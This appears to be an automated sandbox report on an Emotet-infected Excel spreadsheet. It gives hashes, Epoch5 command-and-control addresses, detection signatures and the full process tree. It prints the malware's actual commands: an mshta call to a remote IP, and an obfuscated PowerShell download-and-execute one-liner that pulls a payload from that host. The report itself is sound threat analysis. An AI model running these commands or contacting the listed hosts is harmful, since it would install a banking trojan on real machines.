emotet | 25704807de9c02900ed23bd9f3ad90fe3c2ebc77960bb89c2cc23fa4076bb93e

Analysis

max time kernel
143s
max time network
176s
platform
windows10_x64
resource
win10-en-20211208
submitted
31/01/2022, 00:43

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General

Target
tmpt33xj_hp.xls
Size 47KB
Sample220131-a2yf7acgel
SHA256 25704807de9c02900ed23bd9f3ad90fe3c2ebc77960bb89c2cc23fa4076bb93e
MD5 f33bb4155716bd5513d26eed9813f681
SHA1 7f079a43edf8d73e3209b592c64b18f68626830e
SHA512 dca479a3bed1a2ca7e1d57f8b0c5a5c0f12528aca34bfc0d00d295403c0bd173d848427ab582ae077910acadad5aef7f1c3dc4c7ab7efdf27576bb333e3c98c3
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/mm/nn/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/mm/nn/se.png

Extracted

Family

emotet

Botnet

Epoch5

74.207.230.120:8080
139.196.72.155:8080
37.44.244.177:8080
37.59.209.141:8080
116.124.128.206:8080
217.182.143.207:443
54.37.228.122:443
203.153.216.46:443
168.197.250.14:80
207.148.81.119:8080
195.154.146.35:443
78.46.73.125:443
191.252.103.16:80
210.57.209.142:8080
185.168.130.138:443
142.4.219.173:8080
118.98.72.86:443
78.47.204.80:443
159.69.237.188:443
190.90.233.66:443
104.131.62.48:8080
62.171.178.147:8080
185.148.168.15:8080
54.38.242.185:443
198.199.98.78:8080
194.9.172.107:8080
85.214.67.203:8080
66.42.57.149:443
185.148.168.220:8080
103.41.204.169:8080
128.199.192.135:8080
195.77.239.39:8080
59.148.253.194:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4008	2736	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 4 IoCs

flow	pid	Process
43	1208	mshta.exe
46	2956	powershell.exe
48	2956	powershell.exe
54	4084	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1812	rundll32.exe
1792	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Uguczjulmhlnx\jbsbdnughamh.oec	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2632	1208	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2736	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2956	powershell.exe
2956	powershell.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2632	WerFault.exe
2956	powershell.exe
4084	rundll32.exe
4084	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	2632	WerFault.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE
2736	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 4008	2736	EXCEL.EXE	71
PID 2736 wrote to memory of 4008	2736	EXCEL.EXE	71
PID 4008 wrote to memory of 2236	4008	cmd.exe	73
PID 4008 wrote to memory of 2236	4008	cmd.exe	73
PID 4008 wrote to memory of 2188	4008	cmd.exe	74
PID 4008 wrote to memory of 2188	4008	cmd.exe	74
PID 2188 wrote to memory of 1208	2188	cmd.exe	75
PID 2188 wrote to memory of 1208	2188	cmd.exe	75
PID 1208 wrote to memory of 2956	1208	mshta.exe	77
PID 1208 wrote to memory of 2956	1208	mshta.exe	77
PID 2956 wrote to memory of 1600	2956	powershell.exe	80
PID 2956 wrote to memory of 1600	2956	powershell.exe	80
PID 1600 wrote to memory of 1812	1600	cmd.exe	81
PID 1600 wrote to memory of 1812	1600	cmd.exe	81
PID 1600 wrote to memory of 1812	1600	cmd.exe	81
PID 1812 wrote to memory of 1792	1812	rundll32.exe	82
PID 1812 wrote to memory of 1792	1812	rundll32.exe	82
PID 1812 wrote to memory of 1792	1812	rundll32.exe	82
PID 1792 wrote to memory of 644	1792	rundll32.exe	85
PID 1792 wrote to memory of 644	1792	rundll32.exe	85
PID 1792 wrote to memory of 644	1792	rundll32.exe	85
PID 644 wrote to memory of 4084	644	rundll32.exe	86
PID 644 wrote to memory of 4084	644	rundll32.exe	86
PID 644 wrote to memory of 4084	644	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpt33xj_hp.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
    3⤵
    PID:2236
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/mm/nn/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:1208
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2956
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1600
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1812
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1792
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uguczjulmhlnx\jbsbdnughamh.oec",AYVCoBQzyWxgk
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:644
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Uguczjulmhlnx\jbsbdnughamh.oec",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:4084
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1208 -s 1672
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/644-333-0x0000000000C61000-0x0000000000C84000-memory.dmp

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memory/1792-336-0x0000000004AA0000-0x0000000004AC7000-memory.dmp

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memory/1792-332-0x00000000048F0000-0x0000000004917000-memory.dmp

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memory/1792-328-0x0000000004730000-0x0000000004757000-memory.dmp

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memory/1792-326-0x00000000045D0000-0x00000000045F7000-memory.dmp

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memory/1792-324-0x00000000044F0000-0x0000000004517000-memory.dmp

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memory/1792-321-0x0000000000B90000-0x0000000000BB7000-memory.dmp

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memory/1812-319-0x0000000001010000-0x0000000001037000-memory.dmp

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memory/2736-131-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

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memory/2736-367-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2736-368-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2736-369-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2736-118-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2736-370-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2736-132-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp

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memory/2736-122-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2736-121-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2736-120-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2736-119-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp

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memory/2956-289-0x0000015FE9A30000-0x0000015FE9A6C000-memory.dmp

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memory/2956-307-0x0000015FE9110000-0x0000015FE9210000-memory.dmp

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memory/2956-303-0x0000015FE9110000-0x0000015FE9210000-memory.dmp

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memory/2956-301-0x0000015FE9110000-0x0000015FE9210000-memory.dmp

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memory/2956-300-0x0000015FE9F40000-0x0000015FE9FB6000-memory.dmp

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memory/2956-270-0x0000015FE9740000-0x0000015FE9762000-memory.dmp

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memory/4084-337-0x0000000000C40000-0x0000000000C67000-memory.dmp

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memory/4084-339-0x0000000000F00000-0x0000000000F27000-memory.dmp

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memory/4084-341-0x0000000001000000-0x0000000001027000-memory.dmp

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memory/4084-344-0x0000000004840000-0x0000000004867000-memory.dmp

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memory/4084-348-0x0000000004B00000-0x0000000004B27000-memory.dmp

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memory/4084-350-0x0000000004C00000-0x0000000004C27000-memory.dmp

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